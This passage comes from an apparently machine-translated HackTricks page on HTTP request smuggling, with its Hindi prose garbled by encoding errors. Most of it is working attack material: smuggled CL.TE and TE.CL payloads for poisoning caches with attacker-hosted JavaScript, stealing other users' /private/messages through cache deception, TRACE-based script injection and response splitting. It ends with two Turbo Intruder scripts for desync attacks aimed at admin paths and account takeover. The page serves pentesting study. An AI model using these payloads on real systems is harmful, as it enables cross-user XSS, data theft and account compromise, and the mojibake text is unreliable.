Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

рдкрд░рд┐рдгрд╛рдо рдореЗрдВ:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА JavaScript рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг JavaScript рдкреНрд░рджрд╛рди рдХрд░рдХреЗ рд╕рдордЭреМрддрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

HTTP Request Smuggling рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡реЗрдм рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдХрд╛ рд╢реЛрд╖рдг

рд╡реЗрдм рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ рдлреНрд░рдВрдЯ-рдПрдВрдб рдЗрдиреНрдлреНрд░рд╛рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдХреЗ рдХрд┐рд╕реА рднреА рдШрдЯрдХ рджреНрд╡рд╛рд░рд╛ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдХреИрд╢ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЖрдорддреМрд░ рдкрд░ рдкреНрд░рджрд░реНрд╢рди рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдПред рд╕рд░реНрд╡рд░ рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ, рдХреИрд╢ рдХреЛ рдкреЙрдЗрдЬрд╝рди рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред

рдкрд╣рд▓реЗ, рд╣рдордиреЗ рджреЗрдЦрд╛ рдХрд┐ рд╕рд░реНрд╡рд░ рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ 404 рддреНрд░реБрдЯрд┐ рд▓реМрдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рджреЗрдЦреЗрдВ рдмреБрдирд┐рдпрд╛рджреА рдЙрджрд╛рд╣рд░рдг)ред рдЗрд╕реА рддрд░рд╣, рд╕рд░реНрд╡рд░ рдХреЛ /static/include.js рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ /index.html рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдзреЛрдЦрд╛ рджреЗрдирд╛ рд╕рдВрднрд╡ рд╣реИред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, /static/include.js рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдХреИрд╢ рдореЗрдВ /index.html рдХреА рд╕рд╛рдордЧреНрд░реА рд╕реЗ рдмрджрд▓ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ /static/include.js рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдкрд▓рдмреНрдз рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕реЗрд╡рд╛ рд╕реЗ рдЗрдирдХрд╛рд░ (DoS) рдХреА рдУрд░ рд▓реЗ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдпрд╣ рддрдХрдиреАрдХ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рд╣реЛ рдЬрд╛рддреА рд╣реИ рдпрджрд┐ рдХреЛрдИ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рднреЗрджреНрдпрддрд╛ рдЦреЛрдЬреА рдЬрд╛рддреА рд╣реИ рдпрд╛ рдпрджрд┐ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХреЗ рд▓рд┐рдП рдСрди-рд╕рд╛рдЗрдЯ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд╣реЛрддрд╛ рд╣реИред рдРрд╕реА рднреЗрджреНрдпрддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ /static/include.js рдХреА рдХреИрд╢ рдХреА рдЧрдИ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╕рд╛рде рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рднреА рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рдПрдХ рд╡реНрдпрд╛рдкрдХ рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ (XSS) рд╣рдорд▓реЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ рдЬреЛ рдЕрдкрдбреЗрдЯ рдХреА рдЧрдИ /static/include.js рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░ рд░рд╣реЗ рд╣реИрдВред

рдиреАрдЪреЗ рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдХреЗ рд╢реЛрд╖рдг рдХреЛ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХреЗ рд▓рд┐рдП рдСрди-рд╕рд╛рдЗрдЯ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдХрд░ рдПрдХ рдЪрд┐рддреНрд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЙрджреНрджреЗрд╢реНрдп рд╣реИ /static/include.js рдХреА рдХреИрд╢ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд JavaScript рдХреЛрдб рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрджрд▓рдирд╛:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

рдиреЛрдЯ рдХрд░реЗрдВ рдХрд┐ рдПрдореНрдмреЗрдбреЗрдб рдЕрдиреБрд░реЛрдз /post/next?postId=3 рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИред рдпрд╣ рдЕрдиреБрд░реЛрдз /post?postId=4 рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, Host header value рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЛрдореЗрди рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред Host header рдХреЛ рдмрджрд▓рдХрд░, рд╣рдорд▓рд╛рд╡рд░ рдЕрдиреБрд░реЛрдз рдХреЛ рдЕрдкрдиреЗ рдбреЛрдореЗрди рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ (on-site redirect to open redirect).

рд╕рдлрд▓ socket poisoning рдХреЗ рдмрд╛рдж, /static/include.js рдХреЗ рд▓рд┐рдП рдПрдХ GET request рд╢реБрд░реВ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрд╣ рдЕрдиреБрд░реЛрдз рдкреВрд░реНрд╡ рдХреЗ on-site redirect to open redirect рдЕрдиреБрд░реЛрдз рджреНрд╡рд╛рд░рд╛ рд╕рдВрджреВрд╖рд┐рдд рд╣реЛрдЧрд╛ рдФрд░ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рд╕рд╛рдордЧреНрд░реА рд▓рд╛рдПрдЧрд╛ред

рдЗрд╕рдХреЗ рдмрд╛рдж, /static/include.js рдХреЗ рд▓рд┐рдП рдХреЛрдИ рднреА рдЕрдиреБрд░реЛрдз рд╣рдорд▓рд╛рд╡рд░ рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдХреИрд╢ рдХреА рдЧрдИ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕реЗрд╡рд╛ рджреЗрдЧрд╛, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдПрдХ рд╡реНрдпрд╛рдкрдХ XSS рд╣рдорд▓реЗ рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░реЗрдЧрд╛ред

Using HTTP request smuggling to perform web cache deception

рд╡реЗрдм рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдФрд░ рд╡реЗрдм рдХреИрд╢ рдзреЛрдЦрд╛рдзрдбрд╝реА рдореЗрдВ рдХреНрдпрд╛ рдЕрдВрддрд░ рд╣реИ?

  • рд╡реЗрдм рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдореЗрдВ, рд╣рдорд▓рд╛рд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХреИрд╢ рдореЗрдВ рдХреБрдЫ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд╛рдордЧреНрд░реА рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рд╕рд╛рдордЧреНрд░реА рдЕрдиреНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдХреИрд╢ рд╕реЗ рд╕реЗрд╡рд╛ рджреА рдЬрд╛рддреА рд╣реИред

  • рд╡реЗрдм рдХреИрд╢ рдзреЛрдЦрд╛рдзрдбрд╝реА рдореЗрдВ, рд╣рдорд▓рд╛рд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕рд╛рдордЧреНрд░реА рдХреИрд╢ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдХреИрд╢ рд╕реЗ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред

рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╕реНрдордЧрд▓реНрдб рдЕрдиреБрд░реЛрдз рддреИрдпрд╛рд░ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рд╛рдордЧреНрд░реА рд▓рд╛рддрд╛ рд╣реИред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

рдпрджрд┐ рдпрд╣ рд╕реНрдордЧрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЕрдиреБрд░реЛрдз рд╕реНрдерд┐рд░ рд╕рд╛рдордЧреНрд░реА (рдЬреИрд╕реЗ, /someimage.png) рдХреЗ рд▓рд┐рдП рдЕрднрд┐рдкреНрд░реЗрдд рдХреИрд╢ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреЛ рд╡рд┐рд╖рд╛рдХреНрдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдкреАрдбрд╝рд┐рдд рдХрд╛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ /private/messages рд╕реЗ рд╕реНрдерд┐рд░ рд╕рд╛рдордЧреНрд░реА рдХреЗ рдХреИрд╢ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреЗ рддрд╣рдд рдХреИрд╢ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╣рдорд▓рд╛рд╡рд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЗрди рдХреИрд╢ рдХрд┐рдП рдЧрдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

HTTP рдЕрдиреБрд░реЛрдз рд╕реНрдордЧрд▓рд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ TRACE рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ

рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рд╕реБрдЭрд╛рд╡ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рд╕рд░реНрд╡рд░ рдореЗрдВ TRACE рд╡рд┐рдзрд┐ рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рдЗрд╕реЗ HTTP рдЕрдиреБрд░реЛрдз рд╕реНрдордЧрд▓рд┐рдВрдЧ рдХреЗ рд╕рд╛рде рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ рдпрд╣ рд╡рд┐рдзрд┐ рд╕рд░реНрд╡рд░ рдХреЛ рднреЗрдЬреЗ рдЧрдП рдХрд┐рд╕реА рднреА рд╣реЗрдбрд░ рдХреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╢рд░реАрд░ рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд╛рд╡рд░реНрддрд┐рдд рдХрд░реЗрдЧреАред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

рдРрд╕реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рднреЗрдЬреА рдЬрд╛рдПрдЧреА:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

An example on how to abuse this behaviour would be to smuggle first a HEAD request. This request will be responded with only the headers of a GET request (Content-Type among them). And smuggle immediately after the HEAD a TRACE request, which will be reflecting the sent data. As the HEAD response will be containing a Content-Length header, the response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data in the response. This response will be sent to the next request over the connection, so this could be used in a cached JS file for example to inject arbitrary JS code.

Abusing TRACE via HTTP Response Splitting

Continue following this post is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to control some reflected data in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.

Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

рдпреЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ HEAD рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдПрдХ Content-Length рд╣реИ рдЬреЛ TRACE рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ HEAD рд╢рд░реАрд░ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдЬрдм HEAD Content-Length рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдПрдХ рдорд╛рдиреНрдп HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЪреБрд░рд╛рдИ рдЬрд╛рддреА рд╣реИ):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(тАЬarbitrary responseтАЭ)</script>

HTTP рдЕрдиреБрд░реЛрдз рд╕реНрдордЧрд▓рд┐рдВрдЧ рдХреЛ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЕрд╕рдВрдЧрддрд┐ рдХреЗ рд╕рд╛рде рд╣рдерд┐рдпрд╛рд░ рдмрдирд╛рдирд╛

рдХреНрдпрд╛ рдЖрдкрдиреЗ рдХреБрдЫ HTTP рдЕрдиреБрд░реЛрдз рд╕реНрдордЧрд▓рд┐рдВрдЧ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рд╣реИ рдФрд░ рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ рдЗрд╕рдХрд╛ рд▓рд╛рдн рдХреИрд╕реЗ рдЙрдард╛рдирд╛ рд╣реИред рдЗрди рдЕрдиреНрдп рд╢реЛрд╖рдг рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдЖрдЬрдорд╛рдПрдВ:

HTTP Response Smuggling / Desync

рдЕрдиреНрдп HTTP рдЕрдиреБрд░реЛрдз рд╕реНрдордЧрд▓рд┐рдВрдЧ рддрдХрдиреАрдХреЗрдВ

  • рдмреНрд░рд╛рдЙрдЬрд╝рд░ HTTP рдЕрдиреБрд░реЛрдз рд╕реНрдордЧрд▓рд┐рдВрдЧ (рдХреНрд▓рд╛рдЗрдВрдЯ рд╕рд╛рдЗрдб)

Browser HTTP Request Smuggling
  • HTTP/2 рдбрд╛рдЙрдирдЧреНрд░реЗрдб рдореЗрдВ рдЕрдиреБрд░реЛрдз рд╕реНрдордЧрд▓рд┐рдВрдЧ

Request Smuggling in HTTP/2 Downgrades

рдЯрд░реНрдмреЛ рдЗрдВрдЯреНрд░реВрдбрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕

CL.TE

From https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

рд╕реЗ: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Tools

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated